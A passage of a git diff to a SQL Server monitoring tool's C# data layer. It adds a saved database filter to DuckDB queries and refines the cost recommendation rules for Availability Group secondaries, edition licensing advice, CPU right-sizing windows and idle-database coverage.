     COALESCE(ios.row_lock_wait_in_ms, 0) + COALESCE(ios.page_lock_wait_in_ms, 0)
-    + COALESCE(ios.page_latch_wait_in_ms, 0) + COALESCE(ios.page_io_latch_wait_in_ms, 0) DESC
+    + COALESCE(ios.page_latch_wait_in_ms, 0) + COALESCE(ios.page_io_latch_wait_in_ms, 0) DESC,
+    COALESCE(ios.index_lock_promotion_count, 0) DESC,
+    ios.database_name, ios.schema_name, ios.table_name, ios.index_name NULLS LAST
 LIMIT {topN}";
 
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
         if (databaseName != null)
             command.Parameters.Add(new DuckDBParameter { Value = databaseName });
+        foreach (var db in filterValues)
+            command.Parameters.Add(new DuckDBParameter { Value = db });
 
         var items = new List<IndexLockingRow>();
         using var reader = await command.ExecuteReaderAsync();
@@ -357,17 +377,28 @@ ORDER BY
     /// The shared optimized-locking note when any database's newest stored <c>is_optimized_locking_on</c> is true;
     /// null otherwise (false and unknown both show no note).
     /// </summary>
-    public async Task<string?> GetOptimizedLockingNoteAsync(int serverId)
+    public async Task<string?> GetOptimizedLockingNoteAsync(int serverId, string? databaseName = null, IReadOnlyList<string>? databaseNames = null)
     {
         using var connection = await OpenConnectionAsync();
         using var command = connection.CreateCommand();
 
-        command.CommandText = @"
+        /* #5372 M2: with a database chosen only that database's flag counts, so the note never warns about a database
+           the page does not show (Darling's twin does the same). The anchor stays the server's newest capture. Literal
+           SQL, the way GetIndexLockingAsync builds its filter, so a NULL parameter is never typed. */
+        var dbFilter = databaseName == null ? "" : " AND database_name = $2";
+        /* #5312: the saved database filter narrows the flags too, so the note never warns about a database the grid hides. */
+        dbFilter += BuildDbInClause(databaseNames, "database_name", databaseName == null ? 2 : 3, out var filterValues);
+
+        command.CommandText = $@"
 SELECT is_optimized_locking_on
 FROM v_database_config
 WHERE server_id = $1
-AND   capture_time = (SELECT MAX(capture_time) FROM v_database_config WHERE server_id = $1)";
+AND   capture_time = (SELECT MAX(capture_time) FROM v_database_config WHERE server_id = $1){dbFilter}";
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
+        if (databaseName != null)
+            command.Parameters.Add(new DuckDBParameter { Value = databaseName });
+        foreach (var db in filterValues)
+            command.Parameters.Add(new DuckDBParameter { Value = db });
 
         var flags = new List<bool?>();
         using var reader = await command.ExecuteReaderAsync();
@@ -383,16 +414,18 @@ FROM v_database_config
     /// under #3876's per-name grouping both offered month-dead names (the selector is how the reporter's old
     /// names could still be PICKED, not merely displayed).
     /// </summary>
-    public async Task<List<string>> GetIndexLockingDatabasesAsync(int serverId)
+    public async Task<List<string>> GetIndexLockingDatabasesAsync(int serverId, IReadOnlyList<string>? databaseNames = null)
     {
         using var connection = await OpenConnectionAsync();
         using var command = connection.CreateCommand();
 
-        command.CommandText = @"
+        /* #5312: only databases inside the saved filter are offered, so the box cannot pick a database the filter hides. */
+        var dbClause = BuildDbInClause(databaseNames, "ios.database_name", 2, out var dbValues);
+        command.CommandText = $@"
 SELECT DISTINCT ios.database_name
 FROM v_index_object_stats ios
 WHERE ios.server_id = $1
-AND   ios.collection_time = (SELECT MAX(collection_time) FROM v_index_object_stats WHERE server_id = $1)
+AND   ios.collection_time = (SELECT MAX(collection_time) FROM v_index_object_stats WHERE server_id = $1){dbClause}
 AND (
     COALESCE(ios.row_lock_wait_in_ms, 0) > 0
     OR COALESCE(ios.page_lock_wait_in_ms, 0) > 0
@@ -403,6 +436,8 @@ OR COALESCE(ios.index_lock_promotion_count, 0) > 0
 ORDER BY ios.database_name";
 
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
+        foreach (var db in dbValues)
+            command.Parameters.Add(new DuckDBParameter { Value = db });
 
         var items = new List<string>();
         using var reader = await command.ExecuteReaderAsync();
@@ -467,7 +502,7 @@ FROM v_index_object_stats
     l.index_count,
     CASE
         WHEN (SELECT latest_time FROM bounds) = (SELECT earliest_time FROM bounds) THEN NULL
-        ELSE l.cur_reserved_mb - e.e_reserved_mb
+        ELSE l.cur_reserved_mb - COALESCE(e.e_reserved_mb, 0)
     END AS growth_mb
 FROM latest l
 LEFT JOIN earliest e ON e.schema_name = l.schema_name AND e.table_name = l.table_name
@@ -481,7 +516,7 @@ FROM latest l
             while (await reader.ReadAsync())
             {
                 var current = reader.IsDBNull(2) ? 0m : Convert.ToDecimal(reader.GetValue(2));
-                /* No earlier sample for this table (new table, or one snapshot only): null, not 0. */
+                /* One snapshot only: null, not 0. A table missing from the earliest snapshot was created since and counts its whole size (its percent stays null: it grew from nothing); an existing table whose earliest size is NULL also counts its whole current size, because COALESCE treats it like a new table, and that is rare. */
                 decimal? growth = reader.IsDBNull(6) ? null : Convert.ToDecimal(reader.GetValue(6));
                 objects.Add(new ObjectSizeGrowthRow
                 {
@@ -523,10 +558,10 @@ FROM v_index_object_stats
 ),
 ranked AS (
     SELECT l.schema_name, l.table_name,
-        l.cur_reserved_mb - COALESCE(e.e_reserved_mb, l.cur_reserved_mb) AS growth_mb
+        l.cur_reserved_mb - COALESCE(e.e_reserved_mb, 0) AS growth_mb
     FROM latest l
     LEFT JOIN earliest e ON e.schema_name = l.schema_name AND e.table_name = l.table_name
-    ORDER BY growth_mb DESC, l.schema_name, l.table_name
+    ORDER BY growth_mb DESC NULLS LAST, l.schema_name, l.table_name
     LIMIT {topN}
 )
 SELECT
@@ -589,7 +624,8 @@ AND COALESCE(user_updates, 0) = 0 THEN 'Unused'
         WHEN COALESCE(user_seeks, 0) + COALESCE(user_scans, 0) + COALESCE(user_lookups, 0) = 0
              AND COALESCE(user_updates, 0) > 0 THEN 'Write-only'
         ELSE 'Active'
-    END AS classification
+    END AS classification,
+    collection_time
 FROM v_index_object_stats
 WHERE server_id = $1
 AND   database_name = $2
@@ -624,7 +660,8 @@ SELECT MAX(collection_time) FROM v_index_object_stats WHERE server_id = $1 AND d
                 TotalReads = reader.IsDBNull(11) ? 0L : Convert.ToInt64(reader.GetValue(11)),
                 UserUpdates = reader.IsDBNull(12) ? 0L : Convert.ToInt64(reader.GetValue(12)),
                 LastUserAccess = reader.IsDBNull(13) ? null : reader.GetDateTime(13),
-                Classification = reader.IsDBNull(14) ? "" : reader.GetString(14)
+                Classification = reader.IsDBNull(14) ? "" : reader.GetString(14),
+                CollectionTime = reader.GetDateTime(15)
             });
         }
         return items;
@@ -720,6 +757,16 @@ public class IndexUsageRow
     public long UserUpdates { get; set; }
     public DateTime? LastUserAccess { get; set; }
     public string Classification { get; set; } = "";
+
+    /// <summary>The snapshot an index-drill row came from (<see cref="LocalDataService.GetObjectIndexDetailAsync"/>'s anchor,
+    /// projected on the row statement). Not set by the index-usage read, which does not project it.</summary>
+    public DateTime CollectionTime { get; set; }
+
+    /// <summary>When that snapshot was collected, to the second, in the display zone: the index drill's Collected column,
+    /// which sorts by <see cref="CollectionTime"/>. The drill reads the database's latest snapshot with no time bound,
+    /// so this is how old the figures can be. <c>collection_time</c> is the collector's own UTC stamp, so it is worded
+    /// from the instant like the other Collected columns. Empty when the row did not come from the index drill.</summary>
+    public string CollectionTimeLocal => CollectionTime == DateTime.MinValue ? "" : ServerTimeHelper.FormatServerTime(CollectionTime);
 }
 
 /// <summary>Per-index locking/latch contention.</summary>
diff --git a/Lite/Services/LocalDataService.FinOps.Inventory.cs b/Lite/Services/LocalDataService.FinOps.Inventory.cs
index fa5d8b676c..5f58b3d63e 100644
--- a/Lite/Services/LocalDataService.FinOps.Inventory.cs
+++ b/Lite/Services/LocalDataService.FinOps.Inventory.cs
@@ -17,12 +17,16 @@ public partial class LocalDataService
 {
     /// <summary>
     /// Gets the latest database size snapshot per server per file (cross-server).
+    /// <para>#5312: <paramref name="databaseNames"/> is the saved per-server database filter (null or empty = every database,
+    /// the statement as it always read). It narrows the OUTER rows only: the newest snapshot is still the server's newest, so a
+    /// filter never changes which snapshot is read.</para>
     /// </summary>
-    public async Task<List<DatabaseSizeRow>> GetDatabaseSizeLatestAsync(int serverId)
+    public async Task<List<DatabaseSizeRow>> GetDatabaseSizeLatestAsync(int serverId, IReadOnlyList<string>? databaseNames = null)
     {
         using var connection = await OpenConnectionAsync();
         using var command = connection.CreateCommand();
-        command.CommandText = @"
+        var dbClause = BuildDbInClause(databaseNames, "database_name", 2, out var dbValues);
+        command.CommandText = $@"
 SELECT
     database_name,
     file_type_desc,
@@ -44,10 +48,12 @@ FROM v_database_size_stats
     SELECT MAX(collection_time)
     FROM v_database_size_stats
     WHERE server_id = $1
-)
+){dbClause}
 ORDER BY database_name, file_type_desc, file_name";
 
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
+        foreach (var db in dbValues)
+            command.Parameters.Add(new DuckDBParameter { Value = db });
 
         var items = new List<DatabaseSizeRow>();
         using var reader = await command.ExecuteReaderAsync();
@@ -81,13 +87,17 @@ FROM v_database_size_stats
     /// <summary>
     /// Gets per-database total allocated and used space for the utilization size chart.
     /// Aggregates across all files per database for the selected server.
+    /// <para>#5312: <paramref name="databaseNames"/> is the saved database filter (null or empty = every database). The top
+    /// <paramref name="topN"/> is taken among the chosen databases; the newest snapshot is still the server's newest.</para>
     /// </summary>
-    public async Task<List<DatabaseSizeSummaryRow>> GetDatabaseSizeSummaryAsync(int serverId, int topN = 10)
+    public async Task<List<DatabaseSizeSummaryRow>> GetDatabaseSizeSummaryAsync(int serverId, int topN = 10, IReadOnlyList<string>? databaseNames = null)
     {
         using var connection = await OpenConnectionAsync();
         using var command = connection.CreateCommand();
 
-        command.CommandText = @"
+        /* $1 server, $2 topN, so the optional database list starts at $3. */
+        var dbClause = BuildDbInClause(databaseNames, "database_name", 3, out var dbValues);
+        command.CommandText = $@"
 SELECT
     database_name,
     SUM(total_size_mb) AS total_mb,
@@ -98,13 +108,15 @@ FROM v_database_size_stats
 WHERE server_id = $1
 AND   collection_time = (
     SELECT MAX(collection_time) FROM v_database_size_stats WHERE server_id = $1
-)
+){dbClause}
 GROUP BY database_name
 ORDER BY total_mb DESC
 LIMIT $2";
 
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
         command.Parameters.Add(new DuckDBParameter { Value = topN });
+        foreach (var db in dbValues)
+            command.Parameters.Add(new DuckDBParameter { Value = db });
 
         var items = new List<DatabaseSizeSummaryRow>();
         using var reader = await command.ExecuteReaderAsync();
diff --git a/Lite/Services/LocalDataService.FinOps.Pvs.cs b/Lite/Services/LocalDataService.FinOps.Pvs.cs
index d9224df459..e7a31f284d 100644
--- a/Lite/Services/LocalDataService.FinOps.Pvs.cs
+++ b/Lite/Services/LocalDataService.FinOps.Pvs.cs
@@ -77,12 +77,16 @@ THEN persistent_version_store_size_mb / database_data_size_mb
     /// POINT from the same row's data-file denominator, the exact ratio the grid shows, so the two
     /// surfaces cannot disagree. Mirrored by the Darling viewer's <c>GetPvsTrendAsync</c> — same
     /// columns, same top-N pin, same ordering — so the twins cannot drift.
+    /// <para>#5312: <paramref name="databaseNames"/> is the saved per-server database filter (null or empty = every database,
+    /// the statement as it always read). The top five are ranked among the chosen databases.</para>
     /// </summary>
-    public async Task<List<PvsTrendPoint>> GetPvsTrendAsync(int serverId, DateTime sinceUtc)
+    public async Task<List<PvsTrendPoint>> GetPvsTrendAsync(int serverId, DateTime sinceUtc, IReadOnlyList<string>? databaseNames = null)
     {
         using var connection = await OpenConnectionAsync();
         using var command = connection.CreateCommand();
-        command.CommandText = @"
+        /* $1 server, $2 since, so the optional database list starts at $3. */
+        var dbClause = BuildDbInClause(databaseNames, "database_name", 3, out var dbValues);
+        command.CommandText = $@"
 WITH top_dbs AS (
     SELECT database_name
     FROM v_pvs_stats
@@ -91,7 +95,7 @@ FROM v_pvs_stats
         SELECT MAX(collection_time)
         FROM v_pvs_stats
         WHERE server_id = $1
-    )
+    ){dbClause}
     ORDER BY persistent_version_store_size_mb DESC NULLS LAST, database_name
     LIMIT 5
 )
@@ -109,6 +113,8 @@ FROM v_pvs_stats p
 ORDER BY p.database_name, p.collection_time";
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
         command.Parameters.Add(new DuckDBParameter { Value = DateTime.SpecifyKind(sinceUtc, DateTimeKind.Unspecified) });
+        foreach (var db in dbValues)
+            command.Parameters.Add(new DuckDBParameter { Value = db });
 
         var items = new List<PvsTrendPoint>();
         using var reader = await command.ExecuteReaderAsync();
@@ -135,12 +141,15 @@ FROM v_pvs_stats p
     /// so a window that has aged into parquet still resolves, and pins to the newest collection_time the
     /// way the sibling database-size read does — this grid answers "what is my version store doing right
     /// now", not "how did it get here".
+    /// <para>#5312: <paramref name="databaseNames"/> is the saved per-server database filter (null or empty = every database,
+    /// the statement as it always read). It narrows the OUTER rows only: the newest snapshot is still the server's newest.</para>
     /// </summary>
-    public async Task<List<PvsStatsRow>> GetPvsStatsLatestAsync(int serverId)
+    public async Task<List<PvsStatsRow>> GetPvsStatsLatestAsync(int serverId, IReadOnlyList<string>? databaseNames = null)
     {
         using var connection = await OpenConnectionAsync();
         using var command = connection.CreateCommand();
-        command.CommandText = @"
+        var dbClause = BuildDbInClause(databaseNames, "database_name", 2, out var dbValues);
+        command.CommandText = $@"
 SELECT
     database_name,
     is_accelerated_database_recovery_on,
@@ -164,10 +173,12 @@ FROM v_pvs_stats
     SELECT MAX(collection_time)
     FROM v_pvs_stats
     WHERE server_id = $1
-)
+){dbClause}
 ORDER BY persistent_version_store_size_mb DESC NULLS LAST, database_name";
 
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
+        foreach (var db in dbValues)
+            command.Parameters.Add(new DuckDBParameter { Value = db });
 
         var items = new List<PvsStatsRow>();
         using var reader = await command.ExecuteReaderAsync();
diff --git a/Lite/Services/LocalDataService.FinOps.Recommendations.cs b/Lite/Services/LocalDataService.FinOps.Recommendations.cs
index 9041bae8c1..1acd275a87 100644
--- a/Lite/Services/LocalDataService.FinOps.Recommendations.cs
+++ b/Lite/Services/LocalDataService.FinOps.Recommendations.cs
@@ -14,6 +14,7 @@
 using Microsoft.Data.SqlClient;
 using PerformanceMonitor.Collectors;
 using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Analysis;
 
 namespace PerformanceMonitorLite.Services;
 
@@ -102,13 +103,42 @@ EXEC sys.sp_executesql
         }
     }
 
+    /// <summary>
+    /// True for an edition that is paid for as Enterprise, the only editions the licensing advice ("Enterprise may not be
+    /// required", the downgrade savings) can apply to. A Developer or Evaluation edition (including "Enterprise Developer Edition"
+    /// and "Enterprise Evaluation Edition") has no license fee to save, so neither gets licensing advice. Express needs no clause of
+    /// its own: no Express edition string contains "Enterprise", so the first test already leaves it out.
+    /// </summary>
+    internal static bool EditionNeedsLicensingAdvice(string? edition) =>
+        !string.IsNullOrEmpty(edition)
+        && edition.Contains("Enterprise", StringComparison.OrdinalIgnoreCase)
+        && !edition.Contains("Developer", StringComparison.OrdinalIgnoreCase)
+        && !edition.Contains("Evaluation", StringComparison.OrdinalIgnoreCase);
+
     /// <summary>
     /// Runs all Phase 1 recommendation checks and returns a consolidated list.
     /// Uses DuckDB for collected data and live SQL queries for server-specific checks.
     /// </summary>
-    public async Task<List<RecommendationRow>> GetRecommendationsAsync(int serverId, string connectionString, string utilityConnectionString, decimal monthlyCost)
+    public async Task<List<RecommendationRow>> GetRecommendationsAsync(int serverId, string connectionString, string utilityConnectionString, decimal monthlyCost) =>
+        (await GetRecommendationsWithNoteAsync(serverId, connectionString, utilityConnectionString, monthlyCost)).Rows;
+
+    /// <summary>
+    /// The recommendations plus the note for databases the per-database rules skipped (#5558). A database this node holds only as a
+    /// secondary copy in an Availability Group is judged on the primary: its settings and contents replicate, so each node would raise
+    /// the same idle, dev/test, TDE and compression finding for it. The set comes from the stored Availability Group snapshots and fails
+    /// open (no rows, stale rows, NULL or RESOLVING roles, a standalone server, Azure SQL Database: nothing is skipped). The low IO
+    /// latency rule keeps every database, because each replica's own storage is that replica's own cost. Live SQL results are filtered here
+    /// in C#, so no Availability Group query is added.
+    /// <para>Instance-level role: the Enterprise edition note still keys on <c>GetAgReplicaRoleAsync</c>, because an edition is one
+    /// decision for the whole group and is not a finding about any single database. The per-database set replaces it only for the
+    /// TDE blocker list, where an instance that is primary for one group and secondary for another still lists the databases it
+    /// holds as primary.</para>
+    /// </summary>
+    public async Task<(List<RecommendationRow> Rows, string? SkippedNote)> GetRecommendationsWithNoteAsync(
+        int serverId, string connectionString, string utilityConnectionString, decimal monthlyCost)
     {
         var recommendations = new List<RecommendationRow>();
+        var secondary = await SecondaryReplicaScope.ReadAsync(_duckDb, serverId, DateTime.UtcNow, System.Threading.CancellationToken.None);
 
         // 1. Enterprise feature usage audit (live SQL query)
         try
@@ -129,7 +159,7 @@ public async Task<List<RecommendationRow>> GetRecommendationsAsync(int serverId,
                 majorVersion = editionReader.IsDBNull(1) ? 0 : editionReader.GetInt32(1);
             }
 
-            if (edition.Contains("Enterprise", StringComparison.OrdinalIgnoreCase))
+            if (EditionNeedsLicensingAdvice(edition))
             {
                 var agRole = await GetAgReplicaRoleAsync(sqlConn);
 
@@ -219,15 +249,23 @@ IF @sql <> N''
 END;", sqlConn);
                     featCmd.CommandTimeout = 30;
 
-                    var tdeDbNames = new List<string>();
+                    var tdeAllNames = new List<string>();
                     using var featReader = await featCmd.ExecuteReaderAsync();
                     while (await featReader.ReadAsync())
                     {
                         if (!featReader.IsDBNull(0))
-                            tdeDbNames.Add(featReader.GetString(0));
+                            tdeAllNames.Add(featReader.GetString(0));
                     }
 
-                    if (tdeDbNames.Count == 0)
+                    /* #5558: a secondary copy's TDE is the primary's to report. */
+                    var tdeDbNames = AgReplicaScope.WithoutSecondaries(tdeAllNames, secondary);
+
+                    if (tdeAllNames.Count > 0 && tdeDbNames.Count == 0)
+                    {
+                        /* Every TDE database here is a secondary copy: the blocker (and the licensing estimate that follows it) is
+                           the primary's finding. "No Enterprise-only features" would be false, so nothing is said. */
+                    }
+                    else if (tdeDbNames.Count == 0)
                     {
                         recommendations.Add(new RecommendationRow
                         {
@@ -286,13 +324,24 @@ IF @sql <> N''
             AppLogger.Error("FinOps", $"Recommendation check failed (Enterprise features): {ex.Message}");
         }
 
+        /* The two CPU right-sizing rules (2 and 12) read DIFFERENT windows, so each is gated on its own. A server enrolled minutes ago
+           holds only the ring-buffer backfill of its first collect ("68 samples over 4 minutes"), which is not a day or a week of load.
+           Rule 2 reads the last 24 hours (its P95), so it speaks only when the oldest sample INSIDE those 24 hours is at least 23 hours
+           old: a server collected for two days last week, closed, and restarted with 60 minutes of backfill has a 7-day span of days
+           but a 24-hour window of one hour. Rule 12 reads 7 days, so it keeps the 24-hour span over those 7 days. The two never both
+           land in the list: the one that keeps more cores wins. */
+        var cpuSpanEnough = CpuSamplesSpanEnough(await GetCpuSampleSpanAsync(serverId));
+        var cpuWindowCoversDay = CpuWindowCoversEnough(await GetOldestCpuSampleAgeAsync(serverId, TimeSpan.FromHours(24)));
+        RecommendationRow? computeCpuRow = null;
+        var computeCpuTarget = 0;
+
         // 2. CPU right-sizing score (from DuckDB)
         try
         {
             var util = await GetUtilizationEfficiencyAsync(serverId);
             /* A window with no CPU sample reads a P95 of 0, which is "idle" only because nothing was measured.
                The utilization row gives that window no verdict (HasCpuSample is false); the advice follows it. */
-            if (util != null && util.HasCpuSample && util.P95CpuPct < 30 && util.CpuCount > 4
+            if (cpuWindowCoversDay && util != null && util.HasCpuSample && util.P95CpuPct < 30 && util.CpuCount > 4
                 && util.ProvisioningStatus != ProvisioningVerdict.NotApplicable)
             {
                 var targetCores = Math.Max(4, (int)(util.CpuCount * (util.P95CpuPct / 70m)));
@@ -300,7 +349,8 @@ IF @sql <> N''
                 /* The count is the vCores the service objective gives an Azure SQL Database, so it is named as the utilization card
                    names it; everywhere else it is the CPU count, and the word stays "cores". */
                 var cpuNoun = ServerHardwareScope.CpuCoreNoun(util.EngineEdition);
-                recommendations.Add(new RecommendationRow
+                computeCpuTarget = targetCores;
+                recommendations.Add(computeCpuRow = new RecommendationRow
                 {
                     Category = "Compute",
                     Severity = util.P95CpuPct < 15 ? "High" : "Medium",
@@ -419,6 +469,8 @@ FROM v_memory_stats
             using var sqlConn = new SqlConnection(connectionString);
             await sqlConn.OpenAsync();
 
+            /* The query reads the database the connection opens in; when that is a secondary copy here, the primary reports it (#5558). */
+            var compressionSkipped = AgReplicaScope.IsSkipped(secondary, sqlConn.Database);
             using var compCmd = new SqlCommand(@"
 SELECT
     s.name AS schema_name,
@@ -446,16 +498,19 @@ ORDER BY
             compCmd.CommandTimeout = 60;
 
             var candidates = new List<(string Schema, string Table, string Index, string Type, decimal SizeMb)>();
-            using var compReader = await compCmd.ExecuteReaderAsync();
-            while (await compReader.ReadAsync())
+            if (!compressionSkipped)
             {
-                candidates.Add((
-                    compReader.IsDBNull(0) ? "" : compReader.GetString(0),
-                    compReader.IsDBNull(1) ? "" : compReader.GetString(1),
-                    compReader.IsDBNull(2) ? "" : compReader.GetString(2),
-                    compReader.IsDBNull(3) ? "" : compReader.GetString(3),
-                    compReader.IsDBNull(5) ? 0m : Convert.ToDecimal(compReader.GetValue(5))
-                ));
+                using var compReader = await compCmd.ExecuteReaderAsync();
+                while (await compReader.ReadAsync())
+                {
+                    candidates.Add((
+                        compReader.IsDBNull(0) ? "" : compReader.GetString(0),
+                        compReader.IsDBNull(1) ? "" : compReader.GetString(1),
+                        compReader.IsDBNull(2) ? "" : compReader.GetString(2),
+                        compReader.IsDBNull(3) ? "" : compReader.GetString(3),
+                        compReader.IsDBNull(5) ? 0m : Convert.ToDecimal(compReader.GetValue(5))
+                    ));
+                }
             }
 
             if (candidates.Count > 0)
@@ -489,6 +544,8 @@ ago has not been watched long enough to call any database idle. */
             var idleDbs = await HasQueryStatsCoverageAsync(serverId)
                 ? await GetIdleDatabasesAsync(serverId)
                 : new List<IdleDatabaseRow>();
+            /* #5558: zero reads on a secondary copy is not idleness (its readers may be elsewhere). */
+            idleDbs = idleDbs.Where(d => !AgReplicaScope.IsSkipped(secondary, d.DatabaseName)).ToList();
             if (idleDbs.Count > 0)
             {
                 var totalSizeGb = idleDbs.Sum(d => d.TotalSizeMb) / 1024m;
@@ -540,6 +597,7 @@ FROM sys.databases
                 if (!devReader.IsDBNull(0))
                     devDbs.Add(devReader.GetString(0));
             }
+            devDbs = AgReplicaScope.WithoutSecondaries(devDbs, secondary);
 
             if (devDbs.Count > 0)
             {
@@ -693,8 +751,13 @@ FROM v_memory_stats
                     else if (p95Cpu7d < 30)
                         targetCores = Math.Max(2, cpuCount / 2);
 
-                    if (targetCores > 0 && targetCores < cpuCount)
+                    /* One CPU right-sizing row per server: rule 2 may already have added its row, and this one then takes its
+                       place only when it keeps more cores. */
+                    if (cpuSpanEnough && targetCores > 0 && targetCores < cpuCount
+                        && PrescriptiveCpuRowWins(computeCpuRow == null ? null : computeCpuTarget, targetCores))
                     {
+                        if (computeCpuRow != null)
+                            recommendations.Remove(computeCpuRow);
                         recommendations.Add(new RecommendationRow
                         {
                             Category = "Hardware",
@@ -867,7 +930,7 @@ FROM v_cpu_utilization_stats
             AppLogger.Error("FinOps", $"Recommendation check failed (Reserved capacity): {ex.Message}");
         }
 
-        return recommendations.OrderBy(r => r.SeveritySort).ToList();
+        return (recommendations.OrderBy(r => r.SeveritySort).ToList(), AgReplicaScope.SkippedNote(secondary));
     }
 
     /// <summary>The window the samples a rule read cover: their count and the oldest-to-newest span, in the right-sizing wording. Columns <paramref name="firstOrdinal"/> and the next are MIN and MAX of collection_time; <paramref name="countOrdinal"/> is the count of the value rows the rule's percentile read.</summary>
@@ -879,18 +942,127 @@ private static string SampleWindow(System.Data.Common.DbDataReader reader, int f
         return RightSizingWindow.Describe(count, Convert.ToDateTime(reader.GetValue(firstOrdinal + 1)) - Convert.ToDateTime(reader.GetValue(firstOrdinal)));
     }
 
-    /// <summary>True once the server's query stats reach back to the start of the 7-day window. The advice text claims 7 days, so the data must cover all 7: the first sample has to be at or before the cutoff, with no slack.</summary>
-    private async Task<bool> HasQueryStatsCoverageAsync(int serverId)
+    /// <summary>How long the server's CPU samples must span before either CPU right-sizing rule may speak.</summary>
+    internal static readonly TimeSpan CpuRightSizingMinSpan = TimeSpan.FromHours(24);
+
+    /// <summary>True when CPU samples spanning <paramref name="span"/> are enough for CPU right-sizing advice: a full day, so the advice is not read off the minutes a first collect backfills.</summary>
+    internal static bool CpuSamplesSpanEnough(TimeSpan span) => span >= CpuRightSizingMinSpan;
+
+    /// <summary>How old the oldest CPU sample inside rule 2's 24-hour window must be: most of the window, so its P95 is a day's load and not the minutes since a restart.</summary>
+    internal static readonly TimeSpan CpuWindowMinOldestAge = TimeSpan.FromHours(23);
+
+    /// <summary>True when the oldest CPU sample inside the 24-hour window is at least 23 hours old, so the window's P95 describes most of a day.</summary>
+    internal static bool CpuWindowCoversEnough(TimeSpan oldestSampleAge) => oldestSampleAge >= CpuWindowMinOldestAge;
+
+    /// <summary>
+    /// True when the prescriptive CPU row (rule 12) replaces the compute row (rule 2) or stands alone: it does when no compute row
+    /// exists (<paramref name="computeTargetCores"/> null) or when it keeps MORE cores than that row. At a tie the compute row stays.
+    /// </summary>
+    internal static bool PrescriptiveCpuRowWins(int? computeTargetCores, int prescriptiveTargetCores) =>
+        computeTargetCores is not int compute || prescriptiveTargetCores > compute;
+
+    /// <summary>How long ago the oldest CPU sample inside the last <paramref name="window"/> was taken (rule 2 reads the last 24 hours): zero when there is none or the read fails.</summary>
+    private async Task<TimeSpan> GetOldestCpuSampleAgeAsync(int serverId, TimeSpan window)
     {
+        try
+        {
+            var now = DateTime.UtcNow;
+            using var connection = await OpenConnectionAsync();
+            using var command = connection.CreateCommand();
+            command.CommandText = @"
+SELECT MIN(collection_time)
+FROM v_cpu_utilization_stats
+WHERE server_id = $1
+AND   collection_time >= $2
+AND   sqlserver_cpu_utilization IS NOT NULL";
+            command.Parameters.Add(new DuckDBParameter { Value = serverId });
+            command.Parameters.Add(new DuckDBParameter { Value = now - window });
+            var oldest = await command.ExecuteScalarAsync();
+            if (oldest != null && oldest != DBNull.Value)
+                return now - Convert.ToDateTime(oldest);
+        }
+        catch (Exception ex)
+        {
+            AppLogger.Error("FinOps", $"Recommendation check failed (CPU window coverage): {ex.Message}");
+        }
+
+        return TimeSpan.Zero;
+    }
+
+    /// <summary>The span from the oldest to the newest CPU sample in the last 7 days (the window rule 12 reads): zero when there is none or the read fails.</summary>
+    private async Task<TimeSpan> GetCpuSampleSpanAsync(int serverId)
+    {
+        try
+        {
+            using var connection = await OpenConnectionAsync();
+            using var command = connection.CreateCommand();
+            command.CommandText = @"
+SELECT MIN(collection_time), MAX(collection_time)
+FROM v_cpu_utilization_stats
+WHERE server_id = $1
+AND   collection_time >= $2
+AND   sqlserver_cpu_utilization IS NOT NULL";
+            command.Parameters.Add(new DuckDBParameter { Value = serverId });
+            command.Parameters.Add(new DuckDBParameter { Value = DateTime.UtcNow.AddDays(-7) });
+            using var reader = await command.ExecuteReaderAsync();
+            if (await reader.ReadAsync() && !reader.IsDBNull(0) && !reader.IsDBNull(1))
+                return Convert.ToDateTime(reader.GetValue(1)) - Convert.ToDateTime(reader.GetValue(0));
+        }
+        catch (Exception ex)
+        {
+            AppLogger.Error("FinOps", $"Recommendation check failed (CPU sample span): {ex.Message}");
+        }
+
+        return TimeSpan.Zero;
+    }
+
+    /// <summary>The number of complete UTC days (the seven before today) that must each hold a query-stats sample before a database is called idle for 7 days.</summary>
+    internal const int IdleCoverageDays = 7;
+
+    /// <summary>
+    /// The bounds of the idle-coverage check at <paramref name="nowUtc"/>: the first UTC day that must hold a sample (seven days
+    /// back), the start of today (exclusive end: today is not required, so coverage does not vanish from 00:00 UTC until the first
+    /// sample of the day), and the instant the oldest query-stats sample must be at or before (now minus seven days). The per-server
+    /// check and the fleet read share it.
+    /// </summary>
+    internal static (DateTime StartDay, DateTime EndDay, DateTime OldestCutoff) IdleCoverageBounds(DateTime nowUtc) =>
+        (nowUtc.Date.AddDays(-IdleCoverageDays), nowUtc.Date, nowUtc.AddDays(-IdleCoverageDays));
+
+    /// <summary>What the Optimization tab's Idle Databases grid says when it is empty: that no database is idle, or (when the query
+    /// stats do not cover the last 7 UTC days) that idle cannot be judged yet. An empty grid after a collection gap must not read as
+    /// a clean bill.</summary>
+    internal static string IdleDatabasesEmptyText(bool hasCoverage) => hasCoverage
+        ? "No idle databases detected"
+        : "Idle databases cannot be judged yet: query stats do not cover each of the last 7 days";
+
+    /// <summary>
+    /// True when the server's query stats cover a full 7 days: BOTH the oldest sample is at or before now minus 7 days, AND each of
+    /// the 7 complete UTC days before today holds at least one sample. The advice text claims "no query activity in 7 days", so all
+    /// 7 days must have been watched. The oldest sample alone is not enough: after a collection gap (the app was closed for nine
+    /// days) the oldest sample is old, yet the days since hold no sample, and every database reads as idle because nothing was
+    /// watching. The per-day check alone is not enough either: seven dates can all hold a sample after only six days and a few
+    /// minutes of history. Today is not required, so a covered server stays covered just after 00:00 UTC. Without the coverage there
+    /// is no idle row at all.
+    /// </summary>
+    internal async Task<bool> HasQueryStatsCoverageAsync(int serverId)
+    {
+        var (startDay, endDay, oldestCutoff) = IdleCoverageBounds(DateTime.UtcNow);
         using var connection = await OpenConnectionAsync();
         using var command = connection.CreateCommand();
         command.CommandText = @"
-SELECT MIN(collection_time)
+SELECT
+    MIN(collection_time),
+    COUNT(DISTINCT CASE WHEN collection_time >= $2 AND collection_time < $3 THEN CAST(collection_time AS DATE) END)
 FROM v_query_stats
 WHERE server_id = $1";
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
-        var first = await command.ExecuteScalarAsync();
-        return first is DateTime firstSample && firstSample <= DateTime.UtcNow.AddDays(-7);
+        command.Parameters.Add(new DuckDBParameter { Value = startDay });
+        command.Parameters.Add(new DuckDBParameter { Value = endDay });
